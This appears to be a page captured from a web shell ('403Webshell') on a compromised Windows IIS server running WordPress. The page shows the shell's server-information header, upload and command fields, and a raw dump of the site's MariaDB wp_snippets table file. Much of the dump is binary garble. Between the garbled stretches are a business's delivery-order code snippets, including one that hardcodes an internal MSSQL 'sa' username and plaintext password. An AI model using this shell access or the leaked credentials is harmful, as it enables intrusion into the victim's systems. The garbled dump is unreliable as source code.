403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MariaDB 10.6/data/excellentvege/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MariaDB 10.6/data/excellentvege/wp_snippets.ibd
��������+�:�55
@��������������������������&&������������������������+�:T�����������T�5��T�g�����������+�:�5���������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i�	�������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i���������������������������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i��������������������������������������������������������������������������������������������������������������������������������+�:﹍^����������%E�5����5�52infimumsupremum��!�	)���	pc�%	�����������%,E�5r�d-�5r5�Zinfimumsupremum+global�	��front-end� )global�(��content�0global�8global�@global�H.global�P�Nsite-head-js�	Xglobal�
`global�h��global�p�c�%,?m����������%=E�5 �-�5�52�infimumsupremum��~��
 ��(F��0��8��@���	H����P�ȁ�X���`��h�Y��p�c�%=D�W�����	�E�5/-�	�*��!infimumsupremum
4��&��Make upload filenames lowercaseMakes sure that image and file uploads have lowercase filenames.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'sanitize_file_name', 'mb_strtolower' );sample, mediaglobal��
����fÀ	s��c��Disable admin barTurns off the WordPress admin bar for everyone except administrators.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_action( 'wp', function () {
	if ( ! current_user_can( 'manage_options' ) ) {
		show_admin_bar( false );
	}
} );sample, admin-barfront-end��
����fÀ��r
 �c��Allow smiliesAllows smiley conversion in obscure places.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'widget_text', 'convert_smilies' );
add_filter( 'the_title', 'convert_smilies' );
add_filter( 'wp_title', 'convert_smilies' );
add_filter( 'get_bloginfo', 'convert_smilies' );sampleglobal��
����f��(���Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
����fÀ��0��MSSQL Connection/* ============================================================
   SQL SERVER 2016  →  AED_EXCELLENTVEGE
   ============================================================ */
if (!function_exists('get_mssql')) {

    function get_mssql()
    {
        static $connection = null;   // was $conn2016

        if ($connection !== null) {
            return $connection;
        }

        $server   = "192.168.100.225\\MSSQL2019SERVER";
        $database = "AED_VEGEBASKET";
        $username = "sa";
        $password = "user2025**";

        $connectionOptions = [        // was $connectionInfo
            "Database"               => $database,
            "UID"                    => $username,
            "PWD"                    => $password,
            "CharacterSet"           => "UTF-8",
            "Encrypt"                => "yes",
            "TrustServerCertificate" => "yes",
            "LoginTimeout"           => 5,
        ];

        $connection = sqlsrv_connect($server, $connectionOptions);

        if ($connection === false) {
            error_log('MSSQL connection failed: ' . print_r(sqlsrv_errors(), true));
            return null;
        }

        return $connection;
    }
}global��
�����Q��8'��AJAX DO
/**
 * AJAX for Delivery Order / Cash Sale lookup
 * Uses existing project connection: get_mssql()
 */

/**
 * Helper: get existing MSSQL connection
 */
function ac_ajax_get_conn() {
    if (!function_exists('get_mssql')) {
        return new WP_Error('missing_get_mssql', 'Function get_mssql() not found.');
    }

    $conn = get_mssql();

    if (!$conn) {
        return new WP_Error('mssql_connection_failed', 'get_mssql() returned empty connection.');
    }

    return $conn;
}

/**
 * DEBTOR SEARCH
 * action=ac_cs_debtor_search
 */
add_action('wp_ajax_ac_cs_debtor_search', 'ac_cs_debtor_search_ajax');
function ac_cs_debtor_search_ajax() {
    if (!is_user_logged_in()) {
        wp_send_json_error(array('error' => 'Unauthorized.'), 403);
    }

    check_ajax_referer('ac_cs_debtor_search', 'nonce');

    $q = trim(wp_unslash($_POST['q'] ?? $_GET['q'] ?? ''));
    if ($q === '') {
        wp_send_json_success(array('items' => array()));
    }

    $conn = ac_ajax_get_conn();
    if (is_wp_error($conn)) {
        wp_send_json_error(array('error' => $conn->get_error_message()), 500);
    }

    $like   = '%' . $q . '%';
    $starts = $q . '%';

    $sql = "
        SELECT TOP 20
            AccNo,
            CompanyName,
            SalesAgent
        FROM Debtor
        WHERE
            AccNo LIKE ?
            OR CompanyName LIKE ?
        ORDER BY
            CASE WHEN AccNo LIKE ? THEN 0 ELSE 1 END,
            AccNo ASC
    ";

    $params = array($like, $like, $starts);
    $stmt = sqlsrv_query($conn, $sql, $params);

    if ($stmt === false) {
        $errors = sqlsrv_errors(SQLSRV_ERR_ERRORS);
        $msg = 'Debtor search query failed.';
        if (!empty($errors[0]['message'])) {
            $msg .= ' ' . $errors[0]['message'];
        }
        error_log('[ac_cs_debtor_search] ' . $msg);
        wp_send_json_error(array('error' => $msg), 500);
    }

    $items = array();

    while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $items[] = array(
            'code'       => trim((string)($row['AccNo'] ?? '')),
            'name'       => trim((string)($row['CompanyName'] ?? '')),
            'salesAgent' => trim((string)($row['SalesAgent'] ?? '')),
        );
    }

    sqlsrv_free_stmt($stmt);
    wp_send_json_success(array('items' => $items));
}

/**
 * ITEM CODE SEARCH
 * action=ac_itemcode_suggest
 */
add_action('wp_ajax_ac_itemcode_suggest', 'ac_itemcode_suggest_ajax');
function ac_itemcode_suggest_ajax() {
    if (!is_user_logged_in()) {
        wp_send_json_error(array('error' => 'Unauthorized.'), 403);
    }

    check_ajax_referer('ac_itemcode_suggest', 'nonce');

    $term = trim(wp_unslash($_POST['term'] ?? $_GET['term'] ?? ''));
    if ($term === '') {
        wp_send_json_success(array('items' => array()));
    }

    $conn = ac_ajax_get_conn();
    if (is_wp_error($conn)) {
        wp_send_json_error(array('error' => $conn->get_error_message()), 500);
    }

    $like   = '%' . $term . '%';
    $starts = $term . '%';

    $sql = "
        SELECT TOP 20
            ItemCode,
            Description,
            ISNULL(Desc2, '') AS Description2,
            BaseUOM
        FROM Item
        WHERE
            ItemCode LIKE ?
            OR Description LIKE ?
            OR ISNULL(Desc2, '') LIKE ?
        ORDER BY
            CASE WHEN ItemCode LIKE ? THEN 0 ELSE 1 END,
            ItemCode ASC
    ";

    $params = array($like, $like, $like, $starts);
    $stmt = sqlsrv_query($conn, $sql, $params);

    if ($stmt === false) {
        $errors = sqlsrv_errors(SQLSRV_ERR_ERRORS);
        $msg = 'Item search query failed.';
        if (!empty($errors[0]['message'])) {
            $msg .= ' ' . $errors[0]['message'];
        }
        error_log('[ac_itemcode_suggest] ' . $msg);
        wp_send_json_error(array('error' => $msg), 500);
    }

    $items = array();

    while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $items[] = array(
            'code' => trim((string)($row['ItemCode'] ?? '')),
            'desc' => trim((string)($row['Description'] ?? '')),
            'desc2'=> trim((string)($row['Description2'] ?? '')),
            'uom'  => trim((string)($row['BaseUOM'] ?? '')),
        );
    }

    sqlsrv_free_stmt($stmt);
    wp_send_json_success(array('items' => $items));
}global��
����I��8�@��DELIVERY ORDER FORMadd_shortcode('delivery_order_form', function () {
ob_start();
?>

<style>
.do-container {
    max-width: 480px;
    margin: auto;
    padding: 16px;
    font-family: Arial;
    background: #f6fbf7;
}

/* Card */
.do-card {
    background: #fff;
    border-radius: 14px;
    padding: 16px;
    margin-bottom: 15px;
    box-shadow: 0 3px 10px rgba(0,0,0,0.05);
}

/* Label */
.do-label {
    font-size: 13px;
    color: #666;
    margin-bottom: 4px;
}

/* Input */
.do-input {
    width: 100%;
    padding: 12px;
    border-radius: 10px;
    border: 1px solid #dcdcdc;
    margin-bottom: 14px;
    box-sizing: border-box;
}

/* Type Toggle */
.type-toggle {
    display: flex;
    gap: 10px;
    margin-bottom: 14px;
}

.type-btn {
    flex: 1;
    padding: 12px;
    border-radius: 10px;
    border: 1px solid #28a745;
    background: #fff;
    color: #28a745;
    font-weight: bold;
    cursor: pointer;
}

.type-btn.active {
    background: linear-gradient(90deg,#28a745,#1e7e34);
    color: #fff;
}

/* Button */
.do-btn {
    width: 100%;
    background: linear-gradient(90deg,#28a745,#1e7e34);
    color: #fff;
    border: none;
    padding: 14px;
    border-radius: 12px;
    font-weight: bold;
    cursor: pointer;
}

/* Item Card */
.do-item {
    border-top: 1px solid #eee;
    padding-top: 12px;
    margin-top: 12px;
}

.do-item b {
    color: #1e7e34;
}

/* Delete */
.del-btn {
    margin-top: 6px;
    background: #ff4d4d;
    color: #fff;
    border: none;
    padding: 6px 10px;
    border-radius: 6px;
}

/* Save section (clean form footer style) */
.save-wrapper {
    padding: 0 4px 10px;
}
</style>

<div class="do-container">

    <!-- Basic -->
    <div class="do-card">
        <div class="do-label">Date</div>
        <input type="date" class="do-input">

        <div class="do-label">Debtor Code</div>
        <input type="text" class="do-input" placeholder="Search debtor...">
    </div>

    <!-- Add Item -->
    <div class="do-card">

        <div class="do-label">Item Code</div>
        <input type="text" id="item" class="do-input" placeholder="Scan / type item">

        <div class="do-label">Type</div>
        <div class="type-toggle">
            <button type="button" class="type-btn active" onclick="selectType('Carton', this)">Carton</button>
            <button type="button" class="type-btn" onclick="selectType('Basket', this)">Basket</button>
        </div>

        <div class="do-label">Quantity (Qty)</div>
        <input type="number" id="qty" class="do-input" placeholder="Enter quantity">

        <div class="do-label">Weight (KG)</div>
        <input type="number" id="kg" class="do-input" placeholder="Enter weight">

        <button class="do-btn" onclick="addItem()">+ Add Item</button>
    </div>

    <!-- List -->
    <div class="do-card" id="list">
        <b>No items yet</b>
    </div>

    <!-- SAVE (inside form flow, clean UI) -->
    <div class="save-wrapper">
        <button class="do-btn">Save Delivery Order</button>
    </div>

</div>

<script>
let items = [];
let selectedType = "Carton";

// select type
function selectType(type, el){
    selectedType = type;

    document.querySelectorAll('.type-btn').forEach(btn=>{
        btn.classList.remove('active');
    });

    el.classList.add('active');
}

// enter flow
document.addEventListener("DOMContentLoaded", function () {

    document.getElementById('item').addEventListener("keypress", e=>{
        if(e.key==="Enter") document.getElementById('qty').focus();
    });

    document.getElementById('qty').addEventListener("keypress", e=>{
        if(e.key==="Enter") document.getElementById('kg').focus();
    });

    document.getElementById('kg').addEventListener("keypress", e=>{
        if(e.key==="Enter") addItem();
    });

});

// add
function addItem(){
    let item = document.getElementById('item').value;
    let qty = document.getElementById('qty').value || 0;
    let kg = document.getElementById('kg').value || 0;

    if(!item){
        alert("Please enter item");
        return;
    }

    items.push({ item, qty, kg, type: selectedType });

    render();

    document.getElementById('item').value="";
    document.getElementById('qty').value="";
    document.getElementById('kg').value="";
    document.getElementById('item').focus();
}

// delete
function del(i){
    items.splice(i,1);
    render();
}

// render
function render(){
    let html="";

    if(items.length===0){
        html="<b>No items yet</b>";
    } else {
        items.forEach((x,i)=>{
            html+=`
            <div class="do-item">
                <b>${x.item}</b><br>
                ${x.type}<br>
                Qty: ${x.qty}<br>
                KG: ${x.kg}<br>
                <button class="del-btn" onclick="del(${i})">Delete</button>
            </div>
            `;
        });
    }

    document.getElementById('list').innerHTML=html;
}
</script>

<?php
return ob_get_clean();
});global��
����X�pc�	ݸ���+�:�E�5.l�.�!infimumsupremum
�����Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
����fÀ��,���MSSQL Connection/* ============================================================
   SQL SERVER 2016  →  AED_EXCELLENTVEGE
   ============================================================ */
if (!function_exists('get_mssql')) {

    function get_mssql()
    {
        static $connection = null;   // was $conn2016

        if ($connection !== null) {
            return $connection;
        }

        $server   = "192.168.100.225\\MSSQL2019SERVER";
        $database = "AED_VEGEBASKET";
        $username = "sa";
        $password = "user2025**";

        $connectionOptions = [        // was $connectionInfo
            "Database"               => $database,
            "UID"                    => $username,
            "PWD"                    => $password,
            "CharacterSet"           => "UTF-8",
            "Encrypt"                => "yes",
            "TrustServerCertificate" => "yes",
            "LoginTimeout"           => 5,
        ];

        $connection = sqlsrv_connect($server, $connectionOptions);

        if ($connection === false) {
            error_log('MSSQL connection failed: ' . print_r(sqlsrv_errors(), true));
            return null;
        }

        return $connection;
    }
}global��
�����Q�8� ���DELIVERY ORDER FORMadd_shortcode('delivery_order_form', function () {
ob_start();
?>

<style>
.do-container {
    max-width: 480px;
    margin: auto;
    padding: 16px;
    font-family: Arial;
    background: #f6fbf7;
}

/* Card */
.do-card {
    background: #fff;
    border-radius: 14px;
    padding: 16px;
    margin-bottom: 15px;
    box-shadow: 0 3px 10px rgba(0,0,0,0.05);
}

/* Label */
.do-label {
    font-size: 13px;
    color: #666;
    margin-bottom: 4px;
}

/* Input */
.do-input {
    width: 100%;
    padding: 12px;
    border-radius: 10px;
    border: 1px solid #dcdcdc;
    margin-bottom: 14px;
    box-sizing: border-box;
}

/* Type Toggle */
.type-toggle {
    display: flex;
    gap: 10px;
    margin-bottom: 14px;
}

.type-btn {
    flex: 1;
    padding: 12px;
    border-radius: 10px;
    border: 1px solid #28a745;
    background: #fff;
    color: #28a745;
    font-weight: bold;
    cursor: pointer;
}

.type-btn.active {
    background: linear-gradient(90deg,#28a745,#1e7e34);
    color: #fff;
}

/* Button */
.do-btn {
    width: 100%;
    background: linear-gradient(90deg,#28a745,#1e7e34);
    color: #fff;
    border: none;
    padding: 14px;
    border-radius: 12px;
    font-weight: bold;
    cursor: pointer;
}

/* Item Card */
.do-item {
    border-top: 1px solid #eee;
    padding-top: 12px;
    margin-top: 12px;
}

.do-item b {
    color: #1e7e34;
}

/* Delete */
.del-btn {
    margin-top: 6px;
    background: #ff4d4d;
    color: #fff;
    border: none;
    padding: 6px 10px;
    border-radius: 6px;
}

/* Save section (clean form footer style) */
.save-wrapper {
    padding: 0 4px 10px;
}
</style>

<div class="do-container">

    <!-- Basic -->
    <div class="do-card">
        <div class="do-label">Date</div>
        <input type="date" class="do-input">

        <div class="do-label">Debtor Code</div>
        <input type="text" class="do-input" placeholder="Search debtor...">
    </div>

    <!-- Add Item -->
    <div class="do-card">

        <div class="do-label">Item Code</div>
        <input type="text" id="item" class="do-input" placeholder="Scan / type item">

        <div class="do-label">Type</div>
        <div class="type-toggle">
            <button type="button" class="type-btn active" onclick="selectType('Carton', this)">Carton</button>
            <button type="button" class="type-btn" onclick="selectType('Basket', this)">Basket</button>
        </div>

        <div class="do-label">Quantity (Qty)</div>
        <input type="number" id="qty" class="do-input" placeholder="Enter quantity">

        <div class="do-label">Weight (KG)</div>
        <input type="number" id="kg" class="do-input" placeholder="Enter weight">

        <button class="do-btn" onclick="addItem()">+ Add Item</button>
    </div>

    <!-- List -->
    <div class="do-card" id="list">
        <b>No items yet</b>
    </div>

    <!-- SAVE (inside form flow, clean UI) -->
    <div class="save-wrapper">
        <button class="do-btn">Save Delivery Order</button>
    </div>

</div>

<script>
let items = [];
let selectedType = "Carton";

// select type
function selectType(type, el){
    selectedType = type;

    document.querySelectorAll('.type-btn').forEach(btn=>{
        btn.classList.remove('active');
    });

    el.classList.add('active');
}

// enter flow
document.addEventListener("DOMContentLoaded", function () {

    document.getElementById('item').addEventListener("keypress", e=>{
        if(e.key==="Enter") document.getElementById('qty').focus();
    });

    document.getElementById('qty').addEventListener("keypress", e=>{
        if(e.key==="Enter") document.getElementById('kg').focus();
    });

    document.getElementById('kg').addEventListener("keypress", e=>{
        if(e.key==="Enter") addItem();
    });

});

// add
function addItem(){
    let item = document.getElementById('item').value;
    let qty = document.getElementById('qty').value || 0;
    let kg = document.getElementById('kg').value || 0;

    if(!item){
        alert("Please enter item");
        return;
    }

    items.push({ item, qty, kg, type: selectedType });

    render();

    document.getElementById('item').value="";
    document.getElementById('qty').value="";
    document.getElementById('kg').value="";
    document.getElementById('item').focus();
}

// delete
function del(i){
    items.splice(i,1);
    render();
}

// render
function render(){
    let html="";

    if(items.length===0){
        html="<b>No items yet</b>";
    } else {
        items.forEach((x,i)=>{
            html+=`
            <div class="do-item">
                <b>${x.item}</b><br>
                ${x.type}<br>
                Qty: ${x.qty}<br>
                KG: ${x.kg}<br>
                <button class="del-btn" onclick="del(${i})">Delete</button>
            </div>
            `;
        });
    }

    document.getElementById('list').innerHTML=html;
}
</script>

<?php
return ob_get_clean();
});global��
����X���(�f��DELIVERY ORDER FORM [1]add_shortcode('delivery_order_form_test', function () {
ob_start();
?>

<style>
.do-container {
    max-width: 480px;
    margin: auto;
    padding: 16px;
    font-family: Arial;
    background: #f6fbf7;
}

/* Card */
.do-card {
    background: #fff;
    border-radius: 14px;
    padding: 16px;
    margin-bottom: 15px;
    box-shadow: 0 3px 10px rgba(0,0,0,0.05);
}

/* Label */
.do-label {
    font-size: 13px;
    color: #666;
    margin-bottom: 4px;
}

/* Input */
.do-input {
    width: 100%;
    padding: 12px;
    border-radius: 10px;
    border: 1px solid #dcdcdc;
    margin-bottom: 14px;
    box-sizing: border-box;
}

/* Type Toggle */
.type-toggle {
    display: flex;
    gap: 10px;
    margin-bottom: 14px;
}

.type-btn {
    flex: 1;
    padding: 12px;
    border-radius: 10px;
    border: 1px solid #28a745;
    background: #fff;
    color: #28a745;
    font-weight: bold;
    cursor: pointer;
}

.type-btn.active {
    background: linear-gradient(90deg,#28a745,#1e7e34);
    color: #fff;
}

/* Button */
.do-btn {
    width: 100%;
    background: linear-gradient(90deg,#28a745,#1e7e34);
    color: #fff;
    border: none;
    padding: 14px;
    border-radius: 12px;
    font-weight: bold;
    cursor: pointer;
}

/* Item Card */
.do-item {
    border-top: 1px solid #eee;
    padding-top: 12px;
    margin-top: 12px;
}

.do-item b {
    color: #1e7e34;
}

/* Delete */
.del-btn {
    margin-top: 6px;
    background: #ff4d4d;
    color: #fff;
    border: none;
    padding: 6px 10px;
    border-radius: 6px;
}

/* Save section (clean form footer style) */
.save-wrapper {
    padding: 0 4px 10px;
}
</style>

<div class="do-container">

    <!-- Basic -->
    <div class="do-card">
        <div class="do-label">Date</div>
        <input type="date" class="do-input">

        <div class="do-label">Debtor Code</div>
        <input type="text" class="do-input" placeholder="Search debtor...">
    </div>

    <!-- Add Item -->
    <div class="do-card">

        <div class="do-label">Item Code</div>
        <input type="text" id="item" class="do-input" placeholder="Scan / type item">

        <div class="do-label">Type</div>
        <div class="type-toggle">
            <button type="button" class="type-btn active" onclick="selectType('Carton', this)">Carton</button>
            <button type="button" class="type-btn" onclick="selectType('Basket', this)">Basket</button>
        </div>

        <div class="do-label">Quantity (Qty)</div>
        <input type="number" id="qty" class="do-input" placeholder="Enter quantity">

        <div class="do-label">Weight (KG)</div>
        <input type="number" id="kg" class="do-input" placeholder="Enter weight">

        <button class="do-btn" onclick="addItem()">+ Add Item</button>
    </div>

    <!-- List -->
    <div class="do-card" id="list">
        <b>No items yet</b>
    </div>

    <!-- SAVE (inside form flow, clean UI) -->
    <div class="save-wrapper">
        <button class="do-btn" onclick="submitDO()">Save Delivery Order</button>
    </div>

</div>

<script>
let items = [];
let selectedType = "Carton";

// select type
function selectType(type, el){
    selectedType = type;

    document.querySelectorAll('.type-btn').forEach(btn=>{
        btn.classList.remove('active');
    });

    el.classList.add('active');
}

// enter flow
document.addEventListener("DOMContentLoaded", function () {

    document.getElementById('item').addEventListener("keypress", e=>{
        if(e.key==="Enter") document.getElementById('qty').focus();
    });

    document.getElementById('qty').addEventListener("keypress", e=>{
        if(e.key==="Enter") document.getElementById('kg').focus();
    });

    document.getElementById('kg').addEventListener("keypress", e=>{
        if(e.key==="Enter") addItem();
    });

});

// add
function addItem(){
    let item = document.getElementById('item').value;
    let qty = document.getElementById('qty').value || 0;
    let kg = document.getElementById('kg').value || 0;

    if(!item){
        alert("Please enter item");
        return;
    }

    items.push({
    itemCode: item,
    packType: selectedType,
    qty: parseFloat(qty),
    kg: parseFloat(kg),
    total: parseFloat(qty) * parseFloat(kg)
});

    render();

    document.getElementById('item').value="";
    document.getElementById('qty').value="";
    document.getElementById('kg').value="";
    document.getElementById('item').focus();
}

// delete
function del(i){
    items.splice(i,1);
    render();
}

// render
function render(){
    let html="";

    if(items.length===0){
        html="<b>No items yet</b>";
    } else {
        items.forEach((x,i)=>{
            html+=`
            <div class="do-item">
                <b>${x.item}</b><br>
                ${x.type}<br>
                Qty: ${x.qty}<br>
                KG: ${x.kg}<br>
                <button class="del-btn" onclick="del(${i})">Delete</button>
            </div>
            `;
        });
    }

    document.getElementById('list').innerHTML=html;
}
</script>

<?php
return ob_get_clean();
});global��
�������0�b��AJAX DO5&2�global��
����EĀpc+�:�y�	�KN�E�54�S�!infimumsupremumބ
-�	�submit apiasync function submitDO(){

    if(items.length === 0){
        alert("Please add at least 1 item");
        return;
    }

    let payload = {
        customerCode: document.querySelector('[placeholder="Search debtor..."]').value,
        docDate: document.querySelector('input[type="date"]').value,
        location: "HQ",
        lines: items.map(l => ({
            itemCode: l.itemCode,
            qty: l.total,
            uom: "KG",
            packType: l.packType,
            cartonQty: l.qty,
            kg: l.kg,
            totalKg: l.total,
            location: "HQ"
        }))
    };

    let body = {
        type: 'DELIVERY_ORDER',
        client_request_id: 'DO-' + Date.now(),
        source: 'wp-ui',
        payload
    };

    try{
        let res = await fetch("<?php echo esc_url(rest_url('ac/v1/job')); ?>", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "X-WP-Nonce": "<?php echo wp_create_nonce('wp_rest'); ?>"
            },
            body: JSON.stringify(body)
        });

        let data = await res.json();

        alert("Job Created: " + (data.jobId || "Success"));

    }catch(err){
        alert("Error: " + err.message);
    }
}site-head-js��
����ҀY�
��
�DO Receipt/**
 * DO Receipt Token REST Endpoint
 * Paste into functions.php or Code Snippets.
 */

add_action('rest_api_init', function () {
    register_rest_route('ac/v1', '/do-receipt-token', array(
        'methods'             => 'POST',
        'callback'            => 'ac_create_do_receipt_token_endpoint',
        'permission_callback' => function () {
            return is_user_logged_in();
        },
    ));
});

function ac_create_do_receipt_token_endpoint(WP_REST_Request $request) {
    global $wpdb;

    $job_id = absint($request->get_param('job_id'));

    if (!$job_id) {
        return new WP_Error('missing_job_id', 'Missing job_id.', array('status' => 400));
    }

    $jobs_table  = $wpdb->prefix . 'ac_jobs';
    $token_table = $wpdb->prefix . 'ac_do_receipt_tokens';

    $job = $wpdb->get_row($wpdb->prepare("
        SELECT *
        FROM {$jobs_table}
        WHERE id = %d
        LIMIT 1
    ", $job_id));

    if (!$job) {
        return new WP_Error('job_not_found', 'Job not found.', array('status' => 404));
    }

    $status = strtoupper((string) ($job->status ?? ''));

    if ($status !== 'SUCCESS') {
        return new WP_Error('job_not_success', 'Job is not successful yet.', array('status' => 400));
    }

    $result = array();
    if (!empty($job->result)) {
        $decoded_result = json_decode($job->result, true);
        if (is_array($decoded_result)) {
            $result = $decoded_result;
        }
    }

    $payload = array();
    if (!empty($job->payload)) {
        $decoded_payload = json_decode($job->payload, true);
        if (is_array($decoded_payload)) {
            $payload = $decoded_payload;
        }
    }

    $doc_no  = $result['docNo']  ?? $result['DocNo']  ?? null;
    $doc_key = $result['docKey'] ?? $result['DocKey'] ?? null;

    $customer_code  = $payload['customerCode']  ?? $payload['debtorCode'] ?? $payload['DebtorCode'] ?? null;
    $customer_name  = $payload['customerName']  ?? $payload['debtorName'] ?? $payload['DebtorName'] ?? null;
    $customer_phone = $payload['customerPhone'] ?? $payload['phone']      ?? $payload['mobile'] ?? null;

    if (!$doc_no && !$doc_key) {
        return new WP_Error(
            'missing_doc_result',
            'Job result does not contain docNo or docKey.',
            array('status' => 400)
        );
    }

    $now = current_time('mysql');

    // Revoke old active token for the same job before creating a new one.
    $wpdb->update(
        $token_table,
        array(
            'revoked_at' => $now,
        ),
        array(
            'job_id'     => $job_id,
            'revoked_at' => null,
        ),
        array('%s'),
        array('%d', null)
    );

    $raw_token  = bin2hex(random_bytes(32));
    $token_hash = hash('sha256', $raw_token);

    $expires_at = wp_date(
        'Y-m-d H:i:s',
        current_time('timestamp') + (30 * DAY_IN_SECONDS)
    );

    $inserted = $wpdb->insert(
        $token_table,
        array(
            'job_id'         => $job_id,
            'doc_no'         => $doc_no,
            'doc_key'        => $doc_key,
            'customer_code'  => $customer_code,
            'customer_name'  => $customer_name,
            'customer_phone' => $customer_phone,
            'token_hash'     => $token_hash,
            'created_at'     => $now,
            'expires_at'     => $expires_at,
            'opened_at'      => null,
            'revoked_at'     => null,
        ),
        array(
            '%d',
            '%s',
            '%d',
            '%s',
            '%s',
            '%s',
            '%s',
            '%s',
            '%s',
            null,
            null,
        )
    );

    if (!$inserted) {
        return new WP_Error(
            'token_insert_failed',
            'Failed to create receipt token.',
            array('status' => 500)
        );
    }

    $receipt_url = home_url('/index.php/do-receipt/?token=' . rawurlencode($raw_token));

    return rest_ensure_response(array(
        'success'     => true,
        'receipt_url' => $receipt_url,
        'doc_no'      => $doc_no,
        'doc_key'     => $doc_key,
        'expires_at'  => $expires_at,
    ));
}global��
����zـ[�	 ���DO Images/**
 * DO Proof Image Upload REST Endpoint
 * Endpoint: /wp-json/ac/v1/do-proof-upload
 */

add_action('rest_api_init', function () {
    register_rest_route('ac/v1', '/do-proof-upload', array(
        'methods'             => 'POST',
        'callback'            => 'ac_do_proof_upload_endpoint',
        'permission_callback' => function () {
            return is_user_logged_in();
        },
    ));
});

function ac_do_proof_upload_endpoint(WP_REST_Request $request) {
    global $wpdb;

    $job_id     = absint($request->get_param('job_id'));
    $doc_no     = sanitize_text_field((string) $request->get_param('doc_no'));
    $doc_key    = absint($request->get_param('doc_key'));
    $proof_type = sanitize_text_field((string) $request->get_param('proof_type'));

    if (!$proof_type) {
        $proof_type = 'DELIVERY_PROOF';
    }

    if (!$job_id) {
        return new WP_Error('missing_job_id', 'Missing job_id.', array('status' => 400));
    }

    if (empty($_FILES['proof_image'])) {
        return new WP_Error('missing_image', 'Missing proof image.', array('status' => 400));
    }

    $file = $_FILES['proof_image'];

    if (!empty($file['error'])) {
        return new WP_Error('upload_error', 'Upload error code: ' . $file['error'], array('status' => 400));
    }

    $max_size = 8 * 1024 * 1024; // 8MB

    if (!empty($file['size']) && $file['size'] > $max_size) {
        return new WP_Error('image_too_large', 'Image is too large. Maximum 8MB.', array('status' => 400));
    }

    $allowed_mimes = array(
        'jpg|jpeg|jpe' => 'image/jpeg',
        'png'          => 'image/png',
        'webp'         => 'image/webp',
        'gif'          => 'image/gif',
    );

    $file_check = wp_check_filetype_and_ext(
        $file['tmp_name'],
        $file['name'],
        $allowed_mimes
    );

    if (empty($file_check['type']) || strpos($file_check['type'], 'image/') !== 0) {
        return new WP_Error('invalid_image_type', 'Only image files are allowed.', array('status' => 400));
    }

    $jobs_table  = $wpdb->prefix . 'ac_jobs';
    $proof_table = $wpdb->prefix . 'ac_do_proof_images';

    $job = $wpdb->get_row($wpdb->prepare("
        SELECT *
        FROM {$jobs_table}
        WHERE id = %d
        LIMIT 1
    ", $job_id));

    if (!$job) {
        return new WP_Error('job_not_found', 'Job not found.', array('status' => 404));
    }

    $status = strtoupper((string) ($job->status ?? ''));

    if ($status !== 'SUCCESS') {
        return new WP_Error(
            'job_not_success',
            'Proof can only be uploaded after successful DO creation.',
            array('status' => 400)
        );
    }

    /**
     * Only allow 1 proof image per DO/job.
     */
    $existing_proof_id = $wpdb->get_var($wpdb->prepare("
        SELECT id
        FROM {$proof_table}
        WHERE job_id = %d
        AND deleted_at IS NULL
        LIMIT 1
    ", $job_id));

    if ($existing_proof_id) {
        return new WP_Error(
            'proof_already_exists',
            'This order already has proof of delivery.',
            array('status' => 409)
        );
    }

    /**
     * Get doc_no and doc_key from job result if not provided.
     */
    if (!$doc_no || !$doc_key) {
        $result = array();

        if (!empty($job->result)) {
            $decoded_result = json_decode($job->result, true);

            if (is_array($decoded_result)) {
                $result = $decoded_result;
            }
        }

        if (!$doc_no) {
            $doc_no = sanitize_text_field((string) ($result['docNo'] ?? $result['DocNo'] ?? $result['doc_no'] ?? ''));
        }

        if (!$doc_key) {
            $doc_key = absint($result['docKey'] ?? $result['DocKey'] ?? $result['doc_key'] ?? 0);
        }
    }

    if (!$doc_no) {
        $doc_no = 'JOB-' . $job_id;
    }

    require_once ABSPATH . 'wp-admin/includes/file.php';
    require_once ABSPATH . 'wp-admin/includes/media.php';
    require_once ABSPATH . 'wp-admin/includes/image.php';

    $upload_overrides = array(
        'test_form' => false,
        'mimes'     => $allowed_mimes,
    );

    $uploaded = wp_handle_upload($file, $upload_overrides);

    if (!empty($uploaded['error'])) {
        return new WP_Error('upload_failed', $uploaded['error'], array('status' => 500));
    }

    $image_url  = $uploaded['url'] ?? '';
    $image_path = $uploaded['file'] ?? '';
    $mime_type  = $uploaded['type'] ?? '';

    if (!$image_url || !$image_path) {
        return new WP_Error(
            'upload_missing_data',
            'Upload completed but image data is missing.',
            array('status' => 500)
        );
    }

    $attachment_title = 'DO Proof - ' . ($doc_no ?: 'Job ' . $job_id);

    $attachment = array(
        'post_mime_type' => $mime_type,
        'post_title'     => sanitize_file_name($attachment_title),
        'post_content'   => '',
        'post_status'    => 'inherit',
    );

    $attachment_id = wp_insert_attachment($attachment, $image_path);

    if (is_wp_error($attachment_id) || !$attachment_id) {
        return new WP_Error(
            'attachment_failed',
            'Failed to create media attachment.',
            array('status' => 500)
        );
    }

    $attachment_meta = wp_generate_attachment_metadata($attachment_id, $image_path);
    wp_update_attachment_metadata($attachment_id, $attachment_meta);

    $file_size = file_exists($image_path) ? filesize($image_path) : 0;
    $now       = current_time('mysql');
    $user_id   = get_current_user_id();

    /**
     * Save proof image record.
     */
    $inserted = $wpdb->insert(
        $proof_table,
        array(
            'job_id'        => $job_id,
